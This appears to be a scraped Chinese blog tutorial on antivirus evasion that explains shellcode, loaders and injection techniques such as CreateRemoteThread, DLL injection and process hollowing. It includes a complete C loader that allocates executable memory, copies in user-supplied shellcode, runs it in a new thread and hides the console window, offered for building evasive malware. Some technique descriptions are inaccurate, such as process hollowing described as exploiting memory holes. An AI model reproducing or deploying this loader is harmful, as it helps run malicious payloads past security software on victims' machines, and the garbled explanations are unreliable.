当前位置: 首页 > article >正文

免杀0到1之ShellCode与加载器

ShellCode

本质:一段可以自主运行的代码。

介绍:

  • ShellCode没有任何文件结构,不依赖任何编译环境,无法像exe一样双击运行。
  • 需要通过控制程序流程跳转到shellcode地址加载上去执行shellcode。

加载器

介绍:一种将 shellcode 加载到目标进程内存中并执行的程序。

  • 它可以是独立的程序,也可以作为恶意软件的一部分。

两者之间的关系:

  • 加载器是 shellcode 的载体: 加载器负责将 shellcode 加载到内存中并执行。

  • shellcode 是加载器的有效载荷: shellcode 是加载器要执行的代码,它实现了恶意行为。

  • shellcode代码(恶意程序执行代码) + 加载代码(加载代码执行的代码)

    二者相加 ---> 编译后 ---> exe文件

加载器的作用:

  1. 寻找目标进程: 加载器首先要找到一个合适的目标进程来加载 shellcode。
  2. 注入 shellcode: 加载器需要将 shellcode 注入到目标进程的内存空间中。
  3. 执行 shellcode: 加载器需要调用合适的 API 函数来执行 shellcode。

加载器的类型:

  1. 直接注入: 通过创建远程线程来执行 shellcode,例如使用 CreateRemoteThread​ 函数。
  2. DLL 注入: 将 shellcode 嵌入 DLL 文件,然后加载到目标进程中。
  3. 进程替换: 替换目标进程的执行代码,使目标进程运行 shellcode。

常见的加载器技术:

  • 进程空洞攻击: 利用目标进程的内存漏洞,将 shellcode 注入到目标进程的内存空间。
  • 反射式 DLL 注入: 利用反射机制,将 shellcode 嵌入 DLL 文件,然后加载到目标进程中。
  • ROP 攻击: 利用目标程序的函数调用链,执行 shellcode。
C语言加载器
#include <stdio.h> // Windows API 和 一些常量 
#include <windows.h> //标准输入输出库的头文件
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口

unsigned char buf[] = "填自己的shellcode";

int main() {
    //1.申请内存
    LPVOID address = VirtualAlloc(NULL, sizeof(buf), 0x1000 | 0x2000, 0x40);

    //2.复制shellcode到创建的内存中
    memcpy(address, buf, sizeof(buf));

    //3.创建线程运行shellcode
    LPTHREAD_START_ROUTINE xc = CreateThread(
        NULL,
        NULL,
        (LPTHREAD_START_ROUTINE)address,
        NULL,
        NULL,
        NULL
    );

    //等待线程运行结束
    WaitForSingleObject(xc, -1);

    //关闭线程
    CloseHandle(xc);

    return 0;
}


http://www.kler.cn/a/453478.html

相关文章:

  • WebRTC服务质量(11)- Pacer机制(03) IntervalBudget
  • 一键图片转3D模型,AI建模,一键把图片转三维模型,二维图片转3维模型,AI建模
  • SwiftUI 入门趣谈:在文本框(TextField)内限制数字的输入
  • QT-【常用容器类】-QList类 QLinkedList类
  • C语言基础:指针(数组指针与指针数组)
  • Mono里运行C#脚本5—mono_file_map_open
  • adb无法连接到安卓设备【解决方案】报错:adb server version (40) doesn‘t match this client (41);
  • 【形式化验证latency】2.AADL项目结构及语法(一)
  • 计算机组成原理的学习笔记(9)-- CPU·其一 CPU的基本概念/流水线技术/数据通路
  • docker compose deploy fate cluster
  • 免费证件照大师 3.3 | 界面极简的免费证件照制作软件,支持无水印导出
  • 大型3d模型应用内容的云推流之国产信创系统方案
  • python常见数组操作
  • Linux-----进程处理(子进程创建)
  • Java项目中Oracle数据库开发过程中相关内容
  • AI绘图丨中国风 古典 产品展台电商场景第三弹(附关键词)
  • 路由策略
  • 学习C++:关键字
  • 每天40分玩转Django:Django静态文件
  • SLAM/数字图象处理基础
  • 【QT常用技术讲解】QTablewidget点击表头自动排序的两种方式
  • Map接口 及其 实现类(HashMap, TreeMap)
  • 基础组件:
  • MySQL为什么选择使用B+树作为索引结构?
  • 如何使用React,透传各类组件能力/属性?
  • python脚本:批量提取excel数据